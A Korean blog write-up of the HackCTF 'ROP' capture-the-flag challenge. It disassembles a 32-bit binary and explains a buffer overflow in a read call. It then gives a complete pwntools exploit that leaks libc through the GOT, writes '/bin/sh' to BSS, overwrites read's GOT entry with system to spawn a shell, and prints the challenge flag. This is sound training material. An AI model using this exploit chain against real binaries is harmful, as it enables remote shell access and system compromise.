WriteUp/HackCTF

[HackCTF] ROP

d2n0s4ur 2021. 8. 8. 13:59

 

 

     0x08048470 <+0>:     lea    ecx,[esp+0x4]
   0x08048474 <+4>:     and    esp,0xfffffff0
   0x08048477 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804847a <+10>:    push   ebp
   0x0804847b <+11>:    mov    ebp,esp
   0x0804847d <+13>:    push   ecx
   0x0804847e <+14>:    sub    esp,0x4
   0x08048481 <+17>:    call   0x804844b <vulnerable_function>
   0x08048486 <+22>:    sub    esp,0x4
   0x08048489 <+25>:    push   0xe
   0x0804848b <+27>:    push   0x8048530
   0x08048490 <+32>:    push   0x1
   0x08048492 <+34>:    call   0x8048340 <write@plt>
   0x08048497 <+39>:    add    esp,0x10
   0x0804849a <+42>:    mov    eax,0x0
   0x0804849f <+47>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x080484a2 <+50>:    leave
   0x080484a3 <+51>:    lea    esp,[ecx-0x4]
   0x080484a6 <+54>:    ret

main의 어셈블리어. vulnerable_function도 어셈블을 보자.

 

     0x0804844b <+0>:     push   ebp
   0x0804844c <+1>:     mov    ebp,esp
   0x0804844e <+3>:     sub    esp,0x88
   0x08048454 <+9>:     sub    esp,0x4
   0x08048457 <+12>:    push   0x100
   0x0804845c <+17>:    lea    eax,[ebp-0x88]
   0x08048462 <+23>:    push   eax
   0x08048463 <+24>:    push   0x0
   0x08048465 <+26>:    call   0x8048310 <read@plt>
   0x0804846a <+31>:    add    esp,0x10
   0x0804846d <+34>:    nop
   0x0804846e <+35>:    leave
   0x0804846f <+36>:    ret

vulnerable_function

 

read(0,buf[0x88]],4) → buff에 입력을 받음. (단 buf의 크기는 0x88)

 

이 문제를 푸는데 최종 목적은 system('/bin/sh')를 실행하는 것이다.

 

일단 system함수의 정확한 주소를 알기 위해서는 GOT를 얻어야한다.

 

read함수의 got를 통해 read함수의 실제 libc에서의 값을 구할 수 있다.

libc에서 read값을 알 수 있고, read의 offset을 구하면(gdb에서 plt를 통해 구할 수 있음) libc의 base주소를 알 수 있다.

 

libc의 base를 알면 system함수의 실제 주소를 알 수 있고, 동시에 /bin/sh의 위치도 알 수 있다.

하지만 이번에는 /bin/sh를 BSS에 넣어 직접 사용해보도록 한다.

 

이를 위해서는 ROP chainning을 사용해야한다.

 

①read의 got를 출력하고

②BSS영역에 '/bin/sh'를 저장하고,

③read함수의 got에 system의 실제 주소를 overwrite 해서,

④ 쉘을 획득하자.

 

즉, 실제로 들어가야 할 페이로드는 다음과 같다.

 

 

이 구조대로 exploit코드를 작성하자.

 

from pwn import *

# p = process('./rop')
p = remote("ctf.j0n9hyun.xyz",3021)

binsh  = 0xf7f690af
write_plt = 0x8048340
pop3ret = 0x8048509
read_got = 0x804a00c
popret = 0x80482f1
read_plt = 0x8048310
bss = 0x804A024

payload = b"a"*(0x88+4)
payload +=  p32(write_plt)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(read_plt)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt) # system
payload += p32(popret)
payload += p32(bss)

p.sendline(payload)
read = u32(p.recv(4))
libc_base = read - 0xd4350
libc_system = libc_base + 0x3a940
# libc_binsh = libc_base + 0x17e0af

print(hex(libc_base))
# print(hex(libc_binsh))

p.send('/bin/sh' + '\x00')
p.send(p32(libc_system))

p.interactive()

FLAG를 얻기 위해서는 서버에서 사용중인 libc의 offset을 사용해야 한다.

같이 주어진 libc.so.6파일을 gdb로 분석해서 offset을 찾고 exploit코드에 작성한다.

BSS의 주소는 IDA를 통해 찾았다.

 

 

 

FLAG : HackCTF{4bcd3fg7ijPlmA4pqrtuvxza2cdef}

반응형